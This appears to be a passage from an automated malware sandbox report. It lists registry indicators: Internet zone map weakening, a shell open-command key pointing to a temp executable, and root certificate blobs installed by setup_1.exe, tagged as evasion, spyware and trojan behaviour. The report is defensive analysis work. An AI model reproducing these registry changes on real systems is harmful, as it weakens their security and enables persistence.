Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	reg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	Conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	reg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	reg.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdgeUpdateComRegisterShell64.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdateComRegisterShell64.exeMicrosoftEdgeUpdateComRegisterShell64.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdateComRegisterShell64.exeMicrosoftEdgeUpdate.exeMicrosoftEdgeUpdateComRegisterShell64.exe307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exeMicrosoftEdgeUpdateComRegisterShell64.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{99F8E195-1042-4F89-A28C-89CDB74A14AE}\ProxyStubClsid32\ = "{31D0E08E-1AC8-4B50-B591-25F091984A8C}"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{492E1C30-A1A2-4695-87C8-7A8CAD6F936F}\Elevation	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9F3F5F5D-721A-4B19-9B5D-69F664C1A591}\ = "Google Update Policy Status Class"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C06EE550-7248-488E-971E-B60C0AB3A6E4}\ProxyStubClsid32\ = "{31D0E08E-1AC8-4B50-B591-25F091984A8C}"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{99F8E195-1042-4F89-A28C-89CDB74A14AE}\NumMethods	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.CredentialDialogMachine.1.0\CLSID\ = "{5F6A18BB-6231-424B-8242-19E5BB94F8ED}"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{60355531-5BFD-45AB-942C-7912628752C7}\ = "IPolicyStatus3"	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{837E40DA-EB1B-440C-8623-0F14DF158DC0}\NumMethods	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2E1DD7EF-C12D-4F8E-8AD8-CF8CC265BAD0}\Elevation\Enabled = "1"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\MicrosoftEdgeUpdate.exe\AppID = "{CECDDD22-2E72-4832-9606-A9B0E5E344B2}"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E55B90F1-DA33-400B-B09E-3AFF7D46BD83}\ = "IProgressWndEvents"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1B9063E4-3882-485E-8797-F28A0240782F}\NumMethods\ = "4"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7E29BE61-5809-443F-9B5D-CF22156694EB}\ProxyStubClsid32	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{31D0E08E-1AC8-4B50-B591-25F091984A8C}\InProcServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F7B3738C-9BCA-4B14-90B7-89D0F3A3E497}\ProxyStubClsid32	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{5F9C80B5-9E50-43C9-887C-7C6412E110DF}\ProxyStubClsid32\ = "{8B15189E-5465-4166-933D-1EABAD9648CB}"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E3D94CEB-EC11-46BE-8872-7DDCE37FABFA}\InprocHandler32	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.ProcessLauncher.1.0\CLSID\ = "{08D832B9-D2FD-481F-98CF-904D00DF63CC}"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A6556DFF-AB15-4DC3-A890-AB54120BEAEC}\ = "IProcessLauncher2"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B5977F34-9264-4AC3-9B31-1224827FF6E8}	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MicrosoftEdgeUpdate.CredentialDialogMachine\ = "Microsoft Edge Update CredentialDialog"	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5F6A18BB-6231-424B-8242-19E5BB94F8ED}\LocalServer32	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\BHIIFQHRNPIFYZO\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\en6n2s2nFSTC0R9.exe"	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{EA92A799-267E-4DF5-A6ED-6A7E0684BB8A}\PROGID	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9E8F1B36-249F-4FC3-9994-974AFAA07B26}	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9A6B447A-35E2-4F6B-A87B-5DEEBBFDAD17}\ProxyStubClsid32\ = "{8B15189E-5465-4166-933D-1EABAD9648CB}"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{5F9C80B5-9E50-43C9-887C-7C6412E110DF}\ = "IAppCommand"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{AB4EE1FC-0A81-4F56-B0E2-248FB78051AF}	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3A49F783-1C7D-4D35-8F63-5C1C206B9B6E}	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6DFFE7FE-3153-4AF1-95D8-F8FCCA97E56B}\ProxyStubClsid32	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2EC826CB-5478-4533-9015-7580B3B5E03A}\NumMethods\ = "11"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C853632E-36CA-4999-B992-EC0D408CF5AB}\ = "IPackage"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8F09CD6C-5964-4573-82E3-EBFF7702865B}\AppID = "{A6B716CB-028B-404D-B72C-50E153DD68DA}"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{60355531-5BFD-45AB-942C-7912628752C7}\NumMethods\ = "24"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DDD4B5D4-FD54-497C-8789-0830F29A60EE}\NumMethods	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{492E1C30-A1A2-4695-87C8-7A8CAD6F936F}	MicrosoftEdgeUpdate.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E421557C-0628-43FB-BF2B-7C9F8A4D067C}\ELEVATION	MicrosoftEdgeUpdate.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E421557C-0628-43FB-BF2B-7C9F8A4D067C}\PROGID	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}\InprocServer32\ThreadingModel = "Both"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9F3F5F5D-721A-4B19-9B5D-69F664C1A591}\PROGID	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3E102DC6-1EDB-46A1-8488-61F71B35ED5F}\ProxyStubClsid32\ = "{31D0E08E-1AC8-4B50-B591-25F091984A8C}"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E4518371-7326-4865-87F8-D9D3F3B287A3}	MicrosoftEdgeUpdateComRegisterShell64.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A2F5CB38-265F-4A02-9D1E-F25B664968AB}	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{A6556DFF-AB15-4DC3-A890-AB54120BEAEC}\ = "IProcessLauncher2"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7E29BE61-5809-443F-9B5D-CF22156694EB}\ProxyStubClsid32\ = "{31D0E08E-1AC8-4B50-B591-25F091984A8C}"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{AB4EE1FC-0A81-4F56-B0E2-248FB78051AF}\ProxyStubClsid32\ = "{31D0E08E-1AC8-4B50-B591-25F091984A8C}"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A5135E58-384F-4244-9A5F-30FA9259413C}	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E4518371-7326-4865-87F8-D9D3F3B287A3}\ProxyStubClsid32\ = "{31D0E08E-1AC8-4B50-B591-25F091984A8C}"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6DFFE7FE-3153-4AF1-95D8-F8FCCA97E56B}\NumMethods\ = "8"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{FCE48F77-C677-4012-8A1A-54D2E2BC07BD}\ProxyStubClsid32\ = "{31D0E08E-1AC8-4B50-B591-25F091984A8C}"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7584D24A-E056-4EB1-8E7B-632F2B0ADC69}\ProxyStubClsid32\ = "{8B15189E-5465-4166-933D-1EABAD9648CB}"	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1B9063E4-3882-485E-8797-F28A0240782F}	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F7B3738C-9BCA-4B14-90B7-89D0F3A3E497}\NumMethods	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3A49F783-1C7D-4D35-8F63-5C1C206B9B6E}\ = "IAppWeb"	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C853632E-36CA-4999-B992-EC0D408CF5AB}\ProxyStubClsid32	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FEA2518F-758F-4B95-A59F-97FCEEF1F5D0}\ProxyStubClsid32\ = "{31D0E08E-1AC8-4B50-B591-25F091984A8C}"	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E55B90F1-DA33-400B-B09E-3AFF7D46BD83}\ = "IProgressWndEvents"	MicrosoftEdgeUpdateComRegisterShell64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D9AA3288-4EA7-4E67-AE60-D18EADCB923D}	MicrosoftEdgeUpdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5F6A18BB-6231-424B-8242-19E5BB94F8ED}\ = "Microsoft Edge Update CredentialDialog"	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CECDDD22-2E72-4832-9606-A9B0E5E344B2}\VersionIndependentProgID	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{AB4EE1FC-0A81-4F56-B0E2-248FB78051AF}	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9A6B447A-35E2-4F6B-A87B-5DEEBBFDAD17}\ = "ICoCreateAsyncStatus"	MicrosoftEdgeUpdateComRegisterShell64.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{77857D02-7A25-4B67-9266-3E122A8F39E4}\Elevation\Enabled = "1"	MicrosoftEdgeUpdate.exe

Modifies system certificate store 2 TTPs 18 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

setup_1.exeWebCompanionInstaller.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E\Blob = 0f000000010000003000000082c80199397722b57ad473ea266b93d47ffc77fe07f09388345f20dab6addd087672f988b4bbfd154c4b133c70c9ecff530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f007400200047003300000062000000010000002000000031ad6648f8104138c738f39ea4320133393e3a18cc02296ef97c2ac9ef6731d0140000000100000014000000b3db48a4f9a1c5d8ae3641cc1163696229bc4bc61d0000000100000010000000d0ab39edd1a4d89a5512882deb09cb130300000001000000140000007e04de896a3e666d00e687d33ffad93be83d349e2000000001000000430200003082023f308201c5a0030201020210055556bcf25ea43535c3a40fd5ab4572300a06082a8648ce3d0403033061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204733301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f742047333076301006072a8648ce3d020106052b8104002203620004dda7d9bb8ab80bfb0b7f21d2f0bebe73f3335d1abc34eadec69bbcd095f6f0ccd00bba615b51467e9e2d9fee8e630c17ec0770f5cf842e40839ce83f416d3badd3a4145936789d0343ee10136c72deae88a7a16bb543ce67dc23ff031ca3e23ea3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414b3db48a4f9a1c5d8ae3641cc1163696229bc4bc6300a06082a8648ce3d0403030368003065023100adbcf26c3f124ad12d39c30a099773f488368c8827bbe6888d5085a763f99e32de66930ff1ccb1098fdd6cabfa6b7fa0023039665bc2648db89e50dca8d549a2edc7dcd1497f1701b8c8868f4e8c882ba89aa98ac5d100bdf854e29ae55b7cb32717	setup_1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WebCompanionInstaller.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d4304000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WebCompanionInstaller.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4	setup_1.exe
